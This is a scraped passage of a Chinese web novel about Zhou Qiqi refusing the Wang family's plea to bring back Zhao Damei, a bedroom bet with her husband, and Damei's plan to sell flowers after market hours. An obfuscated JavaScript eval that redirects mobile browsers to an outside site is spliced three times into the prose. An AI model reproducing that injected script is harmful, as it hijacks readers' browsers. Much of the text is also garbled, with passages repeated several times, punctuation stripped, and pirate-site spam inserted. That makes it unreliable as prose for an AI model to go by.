她没说原谅,也没说计较,一句轻飘飘的“过去了,却让王大嫂心里没了底气,她知道,周柒柒这是不打算帮忙,呆呆坐在那里,心里有点难受。 “是是是!都过去了! 王婆婆连忙接口,像是抓住了救命稻草,终于把目的说出来了。 “柒柒啊,你看.能不能.能不能帮我们找一下大梅,请她回来再帮我们卖花?分成啥的都好商量!就还按以前的给她!一分一厘都不少! 她拍着胸脯,语气里再没了先前对赵大梅挑三拣四的刻薄劲儿,那双眯缝眼儿里转来转去的,全是自家即将飞了的票子。 “大梅是个能干的以前卖得多好啊!我们保证以后绝对好好待她再不犯糊涂了!柒柒啊你就帮帮我们吧这真是要逼死老太婆我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935114|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了啊!” 周柒柒拿了一块苹果边吃边安静地听着等王婆婆把满腹的悔恨和恳求都倒完了才慢悠悠抬起头。 “王婆婆王大嫂。” 她目光在两人脸上扫了圈。 “你们的心情我理解家里的难处我也听明白了但是这个忙我帮不了大梅姐她也回不来了。” 王婆婆脸上的血色“唰”地一下褪得干干净净。 “为什么?” 她失声叫道“她一个农村寡妇还能有啥别的营生不成?我不信!” 她眼里闪着点不甘的光又追着补了句。 “是不是她想多拿分成?**还嫌不够?难不成她想要五五分?也太贪了吧!” 周柒柒在心里默默翻了个白眼这王婆婆真是沉不住气对赵大梅的刻薄藏都藏不住。 她把插着苹果的牙签放下语气淡淡的。 “王婆婆你想多了大梅姐现在有工作了就在火车站旁边服装批发市场一个挺大的档口 “活儿虽然也辛苦但工钱多按月结算每天卖出去的货还都给分成老板人厚道中午还管顿饭风吹不着雨淋不着比拉着驴车走街串巷、看人脸色强多了。” “人家现在干得好好的刚稳定下来怎么可能辞了那边的正经工作回来做这个朝不保夕还要看主家脸色的活儿?” 她顿了顿看了两人瞬间灰败下去的脸色继续说道。 “别忘了当初是你们主动不要她的我还问了王大嫂好几次现在你们生意做不下去了赔钱了又想起她了?这世界上哪有这么好的事好处都让你们占了亏都让别人吃?” 周柒柒的语气并不激烈甚至可以说得上平和但每一个都像是小锤子敲在王婆婆和王大嫂的心坎上敲得两人又臊又疼。 王婆婆嘴唇哆嗦着还想说什么但最终什么都没说出来。 她知道周柒柒说的是事实而且这丫头眼明心亮主意正得很她在雷政委那儿倚老卖老那一套在她这儿可行不通。 想起那些眼看着就要飞了的票子老太太直挺挺地坐着忽然抬手往自己胸口狠狠捶了两下枯槁的手背青筋暴起。 “造孽啊……真是造孽啊……” 周柒柒瞅着她这架势真怕老太太气晕在自家屋里赶紧站起身做了个送客的手势。 “天不早了王婆婆、王大嫂你们早点回去想想办法吧我还得烧饭呢就不留你们了。” 第191章 夫妻打赌 王大嫂和王婆婆讪讪地起身往外挪。 周柒柒目送着两人拐了弯,正准备关院门呢,却见王大嫂忽然又气喘吁吁地回来了。 “柒柒,” 王大嫂扶着门框直喘气,胸口一鼓一鼓的。 “还是麻烦你帮着给问问大梅,要是她肯松口的话,我愿意和她五五分!真的!哪怕我四她六都成!” 她是真心实意喜欢养花的,看着那些花败在自家院儿里,实在是有些不忍心。 周柒柒看着她这模样,心里叹了口气,摇了摇头。 “王大嫂,不是我不信你,还记得当初我问你的时候,你也说,不会换人的,可最后还不是” 她到底也是四十岁的人了,在自个儿家里连句硬气话都不敢说,事事都得看婆婆的脸色,被拿捏得死死的。 周柒柒瞧着她这副样子,心里头又气又急,真是有点恨铁不成钢。 王大嫂被这话堵得没话说,脸憋得通红,半晌才讷讷地说了句“是我对不住大梅”,也没再坚持,就这么耷拉着脑袋,转身慢慢走了。 周柒柒叹了口气关了院门,也就赶紧去做饭了。 眼下十一月底,差不多已经是深秋了,部队里秋季驻训刚结束,又要忙着年底考核的事儿,天天都跟上了弦似的。 果然,到了晚上九点多,沈淮川才回来。 到了晚上九点多,沈淮川才回来,吃了周柒柒给她留的饭菜,然后就去洗澡了。 周柒柒躺在被窝里看工厂资料,沈淮川带着一身微凉的水汽也躺了进来。 他胳膊一伸,很自然地就把周柒柒捞进怀里,结实的手臂牢牢环在她腰间,下巴在她柔软的发丝上蹭了蹭,胡茬扫得人有点痒。 “今天厂里都顺利?” 他低沉的声音在寂静的夜里格外清晰,带着一丝不易察觉的满足。 “嗯,布料什么的都验完了,就等开工了。” 周柒柒往他温热的怀里,找了个更舒服的姿势,然后想起白天的事,“对了,跟你说个事儿。” 沈淮川安静地听着,大手有一下没一下地轻抚着她的后背,等她说完,才沉吟道。 “这事儿,你拒绝的对,她们当初做得不地道,现在吃亏了才想起大梅姐,确实不该让大 梅姐再回去受那份气。 周柒柒听她赞同自己,心里拿点残留的不快也散了,往他怀里又拱了拱,闷闷地“嗯了一声。 “不过, 沈淮川话锋一转,指尖在她后背轻轻点了点,“你拒绝归拒绝,但是还是该问问大梅姐自己的意思。 周柒柒闻言,从他怀里微微抬起头,语气笃定。 “问啥啊?大梅姐现在工作那么好!她又不傻,怎么可能放着好好的工作不要,再回去呢?我了解大梅姐,她性子也挺要强的!绝对不会答应! 沈淮川低低笑了一声,胸膛微微震动。 他收紧了手臂,把怀里的人又搂紧了些,温热的呼吸抚过她的耳廓。 “我看不一定。 “嗯? 周柒柒被他呼出的热气弄得有点痒,缩了缩脖子。 “我见过大梅姐几次, 沈淮川的声音依旧沉稳,带着股让人信服的劲儿, “她干活确实麻利,人也爽快,但我看她不是那种甘心听别人安排的人,也许,她心里对那花草生意,有别的想法呢? 周柒柒被他这番分析说得有点愣神,仔细想想,沈淮川的眼睛毒,观察力一向敏锐,部队里的事儿从来瞒不过他。 可让她信赵大梅会放弃现在的安稳去冒那个险,她还是觉得不可能。 “哼,你就是瞎猜! 周柒柒不服气地轻轻捶了他胸口一下。 “大梅姐好不容易才安定下来,才不会回去呢!反正要是换做我,我肯定不会回去! 沈淮川挑了挑眉,嘴角勾起一抹促狭的笑,“要不.我们打个赌? 黑暗中,他的眼睛似乎亮了起来,里头有着一丝说不清道不明的意味。 周柒柒却没注意到,只觉得他这是不信自己,气呼呼地扬了扬下巴。 “赌就赌!就赌大梅姐会不会答应回去! 周柒柒声音带着点小得意,“我赌她绝对不会!要是你输了就必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935115|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须答应我一个要求!随便什么要求! “那要是我赢了呢? 沈淮川的声音低沉下去,带着一种诱哄的意味,环在她腰上的手也开始不安分地轻轻摩挲,指尖蹭过她腰侧的软肉。 周柒 柒被他摸得有些心慌意乱,脸上都有点发烫,嘴上却不肯服软,硬着嗓子道。 “你赢了我也答应你一个要求呗!反正你赢不了! “一言为定! 沈淮川低笑起来,那笑声在寂静的夜里荡开,带着点说不出的性感撩人。 他伸手,轻轻拧掉了床头的台灯。 屋里一下子暗了下来,只剩下窗外透进来的点点月光。 他不再满足于隔着睡衣的轻抚,温热的手带着不容拒绝的力道,探进了她的衣摆,熨贴上她细腻温软的腰肢。 周柒柒轻哼一声,身体瞬间绷紧又放松,像是被抽去了骨头,软在他怀里。 黑暗中,感官被无限放大,他指尖的薄茧滑过肌肤带来的微痒和战栗,让她呼吸都乱了。 沈淮川低头,精准地捕捉到她的唇瓣,带着一丝凉意的吻重重落下。 他的呼吸滚烫而急促,带着压抑多时的渴望,几乎要将她融化。 周柒柒只觉得脑子里嗡的一声,所有的思绪都被这热烈的吻搅成了浆糊,只能被动承受着,又忍不住生涩的回应,双手攀上他宽阔坚实的后背。 唇齿交缠间,沈淮川的吻渐渐向下。 他滚烫的唇贴着她的耳垂,声音沙哑得不成样子,带着浓重的喘息和藏不住的占有欲。 “柒柒.我要是赢了.你得答应我. 他故意停顿了一下,翻身一带,就把她轻轻拽到了自己上面,这意思再明白不过。 隔着薄薄的布料,周柒柒能清晰地感觉到他身上那股惊人的热度,脸“腾的一下就红透了,连耳根都烧得慌。 “等你赢了再说. 她嘴里还硬撑着不服输,声音却软得像棉花,又娇又媚,还带着一丝破碎的喘息,彻底点燃了沈淮川眼底的火焰。 他低笑一声,一个翻身就将她稳稳压在身下 第192章 活得透亮着呢 第二天一早 浑身像是散了架似的腰眼酸得厉害胳膊腿也软绵绵地提不起劲儿。 她往身边瞥了眼沈淮川早没了人影。 这男人简直就跟那上了发条的永动机似的白天在部队里忙一整天晚上回来还能折腾大半宿害得她现在连手指头都懒得动。 更气人的是人家早上照样能爬起来绕着操场跑上好几圈回来还能顺路去食堂把早饭打回来。 吃完饭沈淮川洗饭盒的时候她愤愤地在他腰侧软肉掐了一把可惜指尖酸软无力倒像是在撒娇。 沈淮川低笑一声反手就抓住她的手腕顺势把人往怀里带。 温热的呼吸扫过她的耳廓眼看嘴唇就要贴上来周柒柒赶紧偏过头声音里带着点嗔怪。 “别闹!舟舟还在外头呢!” 沈淮川知道她脸皮薄也不再逗她只是在她光洁的额头上印下一个吻。 “待会儿骑车慢点注意安全。” 周柒柒换了身方便汽车的衣服骑上那辆“崭新”的凤凰牌自行车就往城里去了目的地自然是服装批发市场。 刚拐进市场那条街喧嚣的人声和讨价还价的热浪就扑面而来。 周柒柒熟门熟路地找到了中间李萍的档口。 档口地方不大但货品堆得满满当当琳琅满目。 最显眼的位置挂着的衣服正是第一服装厂现在就宽改造的那些款式新颖的设计和扎实的用料吸引了不少拿货的商贩问价。 老板娘李萍正扯着嗓子招呼客人“这款就剩三件了啊!要的赶紧开票!” 看见周柒柒进来眼睛一亮跟见了救星似的。 “柒柒你来得正好快帮我介绍下这几个款式!这几个你最熟了!” 周柒柒笑着应了一声利落地在后院停好了车卷起袖子就加入了“战斗”。 她口齿伶俐对这几款的款式、面料门儿清得很很快就帮李萍敲定了好几笔生意。 忙乱的间隙她的目光不由自主地落在档口里另一个忙碌的身影上。 只见赵大梅动作麻利地整理货品、打包、开票脸上笑容灿烂对商贩的询问应答得体甚至 不辞辛苦地帮着那些商贩把货包给扛到街口。 她身上那股淳朴踏实的劲儿在嘈杂的市场里显得格外可靠不少熟客都认识她了。 “大梅姐好像干得不错!” 周柒柒趁着倒水的空档由衷地对李萍感叹。 李萍咕咚咕咚灌了半杯用手背抹了把嘴笑得露出两排白牙。 “别好像了就是干得好!自从她来了我这档口生意又好了不少她手脚勤快脑子活络人又实在客人都喜欢找她尤其是女客人。” 她顿了顿压低声音“柒柒你眼光真毒给姐推荐了这么好个帮手!” 临近中午汹涌的人潮才稍稍褪去周柒柒和赵大梅终于能喘口气坐在档口后的小板凳上歇一歇。 周柒柒便把昨天王大嫂婆媳找上门的事原原本本的说了出来。 “王婆婆那样子是真急了王大嫂也挺后悔的。” 周柒柒语气笃定带着点替赵大梅扬眉吐气的味道。 “她们当初那样对你现在倒想起你的好了!想让你回去呢想得真美!你现在在萍姐这干得好好的干嘛要回去受那份闲气!” 她说完就等着赵大梅赞同。 然而赵大梅只是安静听着手里无意识地整理着衣服上的线头眼神却飘向了档口外喧闹的街道似乎在想着什么。 片刻赵大梅抬起头笑着轻轻摇了摇头。 “柒柒谢谢你替我着想还替我狠狠解了气不过.” 她顿了顿声音不大却很清晰“我其实挺想回去接着卖花的。” “啊?” 周柒柒彻底愣住了眼睛瞪得溜圆完全出乎意料。 “大梅姐你说啥?回去?为什么?这儿不是挺好的吗?” 她简直不敢相信自己的耳朵。 赵大梅有些不好意思地笑了笑眼神里却闪烁着光芒。 “柒柒我知道这儿好李萍姐待我也好但是吧” 她拽了拽衣角。 “我大小就在地里刨食儿庄稼活干惯了后来摆弄那些花草 样,心里不知道咋的,就感觉很得劲儿。 她顿了顿,语气更认真了些。 “而且,王大嫂和我一样,也是喜欢庄稼花草的,眼看着那些花要糟蹋了,我这心里头.也怪不是滋味的。 周柒柒看着赵大梅眼中的光彩,一时有些语塞。 她忽然明白了沈淮川昨晚话里的意思。 大梅姐看着老实,骨子里却有自己的主意,要不然当初男人没了,她也不会不顾家里的反对,咬着牙接下那驴车,接下了脑子糊涂的公公。 她比谁都清楚自己要啥,活得透亮着呢。 只是……周柒柒还是觉得可惜:“那你打算辞了这儿的活,回去接着卖花? “我没想辞工! 赵大梅连忙摆手,显然已经想好了。 “李萍姐这儿我肯定干着,一个月能至少能挣五十多块呢,一家老小的生计都在这儿!我是想. 她眼里亮晶晶的。 “这儿每天下午六点就收摊了,六点天还亮着呢,我去家属院那边转转会,或者去电影院门口,摆个小摊子卖俩小时花草,天黑了再回来,这样两份活儿都不耽误! “那也太辛苦了! 周柒柒听着就心疼,从早上六点忙到晚上八点,中间就没歇脚的时候,铁打的人也扛不住啊。 “辛苦啥?多挣点钱,心里才踏实! 一个爽朗的声音插了进来。 一个洪亮的声音**来,李萍不知啥时候站在旁边了,显然是听到了她们的谈话。 她叉着腰,脸上露出赞赏的笑容,“大梅妹子,有想法!跟柒柒一样,都是能干的! 她拍了拍赵大梅的肩膀,非常干脆地说。 “以后你五点就走!五点往后市场里就没多少人了,我一个人盯得过来! 赵大梅脸一下子红了,搓着手不好意思地说。 “萍姐,那……那你给我降点工资吧,我少干一个钟头呢。 “降什么降?萍姐我是那种人吗? 李萍大手一挥,不容置疑。 “你来这段时间,帮了我大忙了,我给你涨工资都不够的,哪儿还能降你工钱?你放心大胆地去干就成!姐支持你! 赵大梅嘴唇动了动,想说啥又没说出来,眼圈有点红,拿手抹了抹眼角,才憋出一句。 “那……谢谢萍姐了。 周柒柒看着这一幕,心里也暖暖的。 她伸手挽住赵大梅的胳膊,笑着说。 “待会儿我去服装厂那边,晚上过来找你,咱俩一起去一趟军属区! 赵大梅用力点了点头,脸上的笑又绽开了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 样,心里不知道咋的,就感觉很得劲儿。” 她顿了顿,语气更认真了些。 “而且,王大嫂和我一样,也是喜欢庄稼花草的,眼看着那些花要糟蹋了,我这心里头.也怪不是滋味的。” 周柒柒看着赵大梅眼中的光彩,一时有些语塞。 她忽然明白了沈淮川昨晚话里的意思。 大梅姐看着老实,骨子里却有自己的主意,要不然当初男人没了,她也不会不顾家里的反对,咬着牙接下那驴车,接下了脑子糊涂的公公。 她比谁都清楚自己要啥,活得透亮着呢。 只是……周柒柒还是觉得可惜:“那你打算辞了这儿的活,回去接着卖花?” “我没想辞工!” 赵大梅连忙摆手,显然已经想好了。 “李萍姐这儿我肯定干着,一个月能至少能挣五十多块呢,一家老小的生计都在这儿!我是想.” 她眼里亮晶晶的。 “这儿每天下午六点就收摊了,六点天还亮着呢,我去家属院那边转转会,或者去电影院门口,摆个小摊子卖俩小时花草,天黑了再回来,这样两份活儿都不耽误!” “那也太辛苦了!” 周柒柒听着就心疼,从早上六点忙到晚上八点,中间就没歇脚的时候,铁打的人也扛不住啊。 “辛苦啥?多挣点钱,心里才踏实!” 一个爽朗的声音插了进来。 一个洪亮的声音**来,李萍不知啥时候站在旁边了,显然是听到了她们的谈话。 她叉着腰,脸上露出赞赏的笑容,“大梅妹子,有想法!跟柒柒一样,都是能干的!” 她拍了拍赵大梅的肩膀,非常干脆地说。 “以后你五点就走!五点往后市场里就没多少人了,我一个人盯得过来!” 赵大梅脸一下子红了,搓着手不好意思地说。 “萍姐,那……那你给我降点工资吧,我少干一个钟头呢。” “降什么降?萍姐我是那种人吗?” 李萍大手一挥,不容置疑。 “你来这段时间,帮了我大忙了,我给你涨工资都不够的,哪儿还能降你工钱?你放心大胆地去干就成!姐支持你!” 赵大梅嘴唇动了动,想说啥又没说出来,眼圈有点红,拿手抹了抹眼角,才憋出一句。 “那……谢谢萍姐了。” 周柒柒看着这一幕,心里也暖暖的。 她伸手挽住赵大梅的胳膊,笑着说。 “待会儿我去服装厂那边,晚上过来找你,咱俩一起去一趟军属区!” 赵大梅用力点了点头,脸上的笑又绽开了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 样心里不知道咋的就感觉很得劲儿。” 她顿了顿语气更认真了些。 “而且王大嫂和我一样也是喜欢庄稼花草的眼看着那些花要糟蹋了我这心里头.也怪不是滋味的。” 周柒柒看着赵大梅眼中的光彩一时有些语塞。 她忽然明白了沈淮川昨晚话里的意思。 大梅姐看着老实骨子里却有自己的主意要不然当初男人没了她也不会不顾家里的反对咬着牙接下那驴车接下了脑子糊涂的公公。 她比谁都清楚自己要啥活得透亮着呢。 只是……周柒柒还是觉得可惜:“那你打算辞了这儿的活回去接着卖花?” “我没想辞工!” 赵大梅连忙摆手显然已经想好了。 “李萍姐这儿我肯定干着一个月能至少能挣五十多块呢一家老小的生计都在这儿!我是想.” 她眼里亮晶晶的。 “这儿每天下午六点就收摊了六点天还亮着呢我去家属院那边转转会或者去电影院门口摆个小摊子卖俩小时花草天黑了再回来这样两份活儿都不耽误!” “那也太辛苦了!” 周柒柒听着就心疼从早上六点忙到晚上八点 “辛苦啥?多挣点钱心里才踏实!” 一个爽朗的声音插了进来。 一个洪亮的声音**来李萍不知啥时候站在旁边了显然是听到了她们的谈话。 她叉着腰脸上露出赞赏的笑容“大梅妹子有想法!跟柒柒一样都是能干的!” 她拍了拍赵大梅的肩膀非常干脆地说。 “以后你五点就走!五点往后市场里就没多少人了我一个人盯得过来!” 赵大梅脸一下子红了搓着手不好意思地说。 “萍姐那……那你给我降点工资吧我少干一个钟头呢。” “降什么降?萍姐我是那种人吗?” 李萍大手一挥不容置疑。 “你来这段时间帮了我大忙了我给你涨工资都不够的哪儿还能降你工钱?你放心大胆地去干就成!姐支持你!” 赵大梅嘴唇动了动想说啥又没说出来眼圈有点红拿手抹了抹眼角才憋出一句。 “那……谢谢萍姐了。” 周柒柒看着这一幕心里也暖暖的。 她伸手挽住赵大梅的胳膊笑着说。 “待会儿我去服装厂那边晚上过来找你咱俩一起去一趟军属区!” 赵大梅用力点了点头脸上的笑又绽开了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 样心里不知道咋的就感觉很得劲儿。” 她顿了顿语气更认真了些。 “而且王大嫂和我一样也是喜欢庄稼花草的眼看着那些花要糟蹋了我这心里头.也怪不是滋味的。” 周柒柒看着赵大梅眼中的光彩一时有些语塞。 她忽然明白了沈淮川昨晚话里的意思。 大梅姐看着老实骨子里却有自己的主意要不然当初男人没了她也不会不顾家里的反对咬着牙接下那驴车接下了脑子糊涂的公公。 她比谁都清楚自己要啥活得透亮着呢。 只是……周柒柒还是觉得可惜:“那你打算辞了这儿的活回去接着卖花?” “我没想辞工!” 赵大梅连忙摆手显然已经想好了。 “李萍姐这儿我肯定干着一个月能至少能挣五十多块呢一家老小的生计都在这儿!我是想.” 她眼里亮晶晶的。 “这儿每天下午六点就收摊了六点天还亮着呢我去家属院那边转转会或者去电影院门口摆个小摊子卖俩小时花草天黑了再回来这样两份活儿都不耽误!” “那也太辛苦了!” 周柒柒听着就心疼从早上六点忙到晚上八点中间就没歇脚的时候铁打的人也扛不住啊。 “辛苦啥?多挣点钱心里才踏实!” 一个爽朗的声音插了进来。 一个洪亮的声音**来李萍不知啥时候站在旁边了显然是听到了她们的谈话。 她叉着腰 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)脸上露出赞赏的笑容“大梅妹子有想法!跟柒柒一样都是能干的!” 她拍了拍赵大梅的肩膀非常干脆地说。 “以后你五点就走!五点往后市场里就没多少人了我一个人盯得过来!” 赵大梅脸一下子红了搓着手不好意思地说。 “萍姐那……那你给我降点工资吧我少干一个钟头呢。” “降什么降?萍姐我是那种人吗?” 李萍大手一挥不容置疑。 “你来这段时间帮了我大忙了我给你涨工资都不够的哪儿还能降你工钱?你放心大胆地去干就成!姐支持你!” 赵大梅嘴唇动了动想说啥又没说出来眼圈有点红拿手抹了抹眼角才憋出一句。 “那……谢谢萍姐了。” 周柒柒看着这一幕心里也暖暖的。 她伸手挽住赵大梅的胳膊笑着说。 “待会儿我去服装厂那边晚上过来找你咱俩一起去一趟军属区!” 赵大梅用力点了点头脸上的笑又绽开了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 样,心里不知道咋的,就感觉很得劲儿。” 她顿了顿,语气更认真了些。 “而且,王大嫂和我一样,也是喜欢庄稼花草的,眼看着那些花要糟蹋了,我这心里头.也怪不是滋味的。” 周柒柒看着赵大梅眼中的光彩,一时有些语塞。 她忽然明白了沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵大梅嘴唇动了动,想说啥又没说出来,眼圈有点红,拿手抹了抹眼角,才憋出一句。 “那……谢谢萍姐了。” 周柒柒看着这一幕,心里也暖暖的。 她伸手挽住赵大梅的胳膊,笑着说。 “待会儿我去服装厂那边,晚上过来找你,咱俩一起去一趟军属区!” 赵大梅用力点了点头,脸上的笑又绽开了。 你的朋友正在书荒,快去帮帮他吧 样心里不知道咋的就感觉很得劲儿。” 她顿了顿语气更认真了些。 “而且王大嫂和我一样也是喜欢庄稼花草的眼看着那些花要糟蹋了我这心里头.也怪不是滋味的。” 周柒柒看着赵大梅眼中的光彩一时有些语塞。 她忽然明白了沈淮川昨晚话里的意思。 大梅姐看着老实骨子里却有自己的主意要不然当初男人没了她也不会不顾家里的反对咬着牙接下那驴车接下了脑子糊涂的公公。 她比谁都清楚自己要啥活得透亮着呢。 只是……周柒柒还是觉得可惜:“那你打算辞了这儿的活回去接着卖花?” “我没想辞工!” 赵大梅连忙摆手显然已经想好了。 “李萍姐这儿我肯定干着一个月能至少能挣五十多块呢 她眼里亮晶晶的。 “这儿每天下午六点就收摊了六点天还亮着呢我去家属院那边转转会或者去电影院门口摆个小摊子卖俩小时花草天黑了再回来这样两份活儿都不耽误!” “那也太辛苦了!” 周柒柒听着就心疼从早上六点忙到晚上八点中间就没歇脚的时候铁打的人也扛不住啊。 “辛苦啥?多挣点钱心里才踏实!” 一个爽朗的声音插了进来。 一个洪亮的声音**来李萍不知啥时候站在旁边了显然是听到了她们的谈话。 她叉着腰脸上露出赞赏的笑容“大梅妹子有想法!跟柒柒一样都是能干的!” 她拍了拍赵大梅的肩膀非常干脆地说。 “以后你五点就走!五点往后市场里就没多少人了我一个人盯得过来!” 赵大梅脸一下子红了搓着手不好意思地说。 “萍姐那……那你给我降点工资吧我少干一个钟头呢。” “降什么降?萍姐我是那种人吗?” 李萍大手一挥不容置疑。 “你来这段时间帮了我大忙了我给你涨工资都不够的哪儿还能降你工钱?你放心大胆地去干就成!姐支持你!” 赵大梅嘴唇动了动想说啥又没说出来眼圈有点红拿手抹了抹眼角才憋出一句。 “那……谢谢萍姐了。” 周柒柒看着这一幕心里也暖暖的。 她伸手挽住赵大梅的胳膊笑着说。 “待会儿我去服装厂那边晚上过来找你咱俩一起去一趟军属区!” 赵大梅用力点了点头脸上的笑又绽开了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 样,心里不知道咋的,就感觉很得劲儿。 她顿了顿,语气更认真了些。 “而且,王大嫂和我一样,也是喜欢庄稼花草的,眼看着那些花要糟蹋了,我这心里头.也怪不是滋味的。 周柒柒看着赵大梅眼中的光彩,一时有些语塞。 她忽然明白了沈淮川昨晚话里的意思。 大梅姐看着老实,骨子里却有自己的主意,要不然当初男人没了,她也不会不顾家里的反对,咬着牙接下那驴车,接下了脑子糊涂的公公。 她比谁都清楚自己要啥,活得透亮着呢。 只是……周柒柒还是觉得可惜:“那你打算辞了这儿的活,回去接着卖花? “我没想辞工! 赵大梅连忙摆手,显然已经想好了。 “李萍姐这儿我肯定干着,一个月能至少能挣五十多块呢,一家老小的生计都在这儿!我是想. 她眼里亮晶晶的。 “这儿每天下午六点就收摊了,六点天还亮着呢,我去家属院那边转转会,或者去电影院门口,摆个小摊子卖俩小时花草,天黑了再回来,这样两份活儿都不耽误! “那也太辛苦了! 周柒柒听着就心疼,从早上六点忙到晚上八点,中间就没歇脚的时候,铁打的人也扛不住啊。 “辛苦啥?多挣点钱,心里才踏实! 一个爽朗的声音插了进来。 一个洪亮的声音**来,李萍不知啥时候站在旁边了,显然是听到了她们的谈话。 她叉着腰,脸上露出赞赏的笑容,“大梅妹子,有想法!跟柒柒一样,都是能干的! 她拍了拍赵大梅的肩膀,非常干脆地说。 “以后你五点就走!五点往后市场里就没多少人了,我一个人盯得过来! 赵大梅脸一下子红了,搓着手不好意思地说。 “萍姐,那……那你给我降点工资吧,我少干一个钟头呢。 “降什么降?萍姐我是那种人吗? 李萍大手一挥,不容置疑。 “你来这段时间,帮了我大忙了,我给你涨工资都不够的,哪儿还能降你工钱?你放心大胆地去干就成!姐支持你! 赵大梅嘴唇动了动,想说啥又没说出来,眼圈有点红,拿手抹了抹眼角,才憋出一句。 “那……谢谢萍姐了。 周柒柒看着这一幕,心里也暖暖的。 她伸手挽住赵大梅的胳膊,笑着说。 “待会儿我去服装厂那边,晚上过来找你,咱俩一起去一趟军属区! 赵大梅用力点了点头,脸上的笑又绽开了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第193章 老树发新枝 周柒柒几人正说着话呢,档口门口传来一个和善的声音。 “萍啊,大梅!快歇歇,妈给你们送饭来了!” 话音刚落,就见个头发花白的老太太挎着竹篮子迈了进来,这人正是李萍的婆婆。 老太太利索的从篮子里拿出两个沉甸甸的大搪瓷缸子,盖子一掀开,浓郁的肉香混合着豆角和焖面的香气瞬间弥漫开来。 “哟,妈,我昨晚说想吃焖面,你今儿就做了!闻着就香!” 李萍立刻笑着迎上去,顺手帮婆婆把篮子接过来。 “可不是嘛,知道你俩从早忙到晚,特意多搁了肉,在锅里炖得烂烂的,省得费牙。” 老太太她把搪瓷缸子往李萍和赵大梅跟前推了推,又从篮子底层摸出个布袋盒,打开来,里面躺着几个洗得干干净净的苹果,还有油纸包着的枣泥糕。 赵大梅眼睛一下子亮了,伸手就捏起块枣泥糕。 “呀!这枣泥糕可是我的心头好!每次副食店上货,排老长的队才能抢着!妈,您又去排队了?” 嘴里说着,已经“啊呜”咬了一大口,糕点渣子掉在衣服上都顾不上拍。 老太太帮她拍了拍,脸上满是疼惜,“瞧你这一头汗,慢点吃,别噎着。” 那眼神里的疼惜,跟王婆婆对王大嫂的横眉冷对比起来,真是一个天上一个地下。 周柒柒在旁边看得感慨万千,两人差不多的年纪,都有婆婆,差距怎么就这么大呢? 一个能把媳妇当女儿疼,一个却把媳妇当成没有人格的物件。 李萍招呼周柒柒。 “柒柒,你也来吃点?我妈每次送都怕我们不够吃,分量贼足,咱仨都够!” 周柒柒瞅着桌上就两个搪瓷缸,哪好意思真留下,赶紧摆手。 “不了不了,你们趁热吃。我跟张副厂长约好了,去国营饭店那边谈事,这就得走了。” 话音刚落,却见张国强那略显瘦弱的身影就出现在了档口门口,手里提着饭盒和布袋。 他看到周柒柒也在,愣在一下,有些不好意思道。 “萍姐,那批旧款改造的款式数量,我还想在和你确认一下细节,这不大中午的,顺道带了点自己做的菜,想着你们中午可能忙得顾不上吃热乎的。 李萍眼尖,早瞥见他手里的饭盒,嘴角一挑就笑出了声。 “哎呦,张厂长,就这么点事儿,你都亲自跑第三趟了吧?厂里随便派个人来不就行了? 说着,她还有意无意地瞟了一眼旁边正倒水的赵大梅。 张国强黝黑的脸膛顿时有点泛红,尴尬地挠了挠头,眼神飞快地从赵大梅身上掠过,又赶紧挪开。 “这不,厂里最近忙得不行,我正好有空. 李萍转头瞅着周柒柒,嘴角的笑更深了。 “还有柒柒,你不是说约了张厂长在国营饭店?这咋回事啊? 周柒柒也觉得脸上有点热,刚想说话,李萍倒先摆了摆手。 “行了行了,不说这个。张国强,你带的啥菜?有馒头没? 张国强忙不迭点头。 “有有有!有好几个白面馒头,菜是我自己做的,红烧肉还有酸菜炒肉末,酸菜还是在邓妹子那买的 “那敢情好! 李萍一把拉住周柒柒的胳膊。 “柒柒你也别跑了,咱四个就在这儿吃,热闹!张厂长的手艺我们尝过,绝了! 周柒柒看着张国强想看又不敢多看赵大梅的样子,心里了然,便也笑着顺势坐下了。 “那行,沾沾萍姐和大梅姐的光,我也尝尝张厂长的手艺。 小小的档口后间顿时挤了四个人。 李萍婆婆带来的焖面分量确实足,加上张国强带来的两个硬菜和馒头,倒也丰盛。 只是这顿饭的气氛,在周柒柒看来,实在有点怪。 张国强用筷子把红烧肉往每个人碗里夹,眼神却直勾勾地黏在赵大梅身上,声音都比平时软了三分。 “你们尝尝,我在厂里后厨炖的,小火咕嘟了俩钟头,保准烂糊。 赵大梅却跟没听见似的,头埋得低低的,筷子扒拉着碗里的焖面,吃得飞快,腮帮子鼓鼓的。 没多大一会儿,她“哐当把筷子往桌上一搁,站起身来。 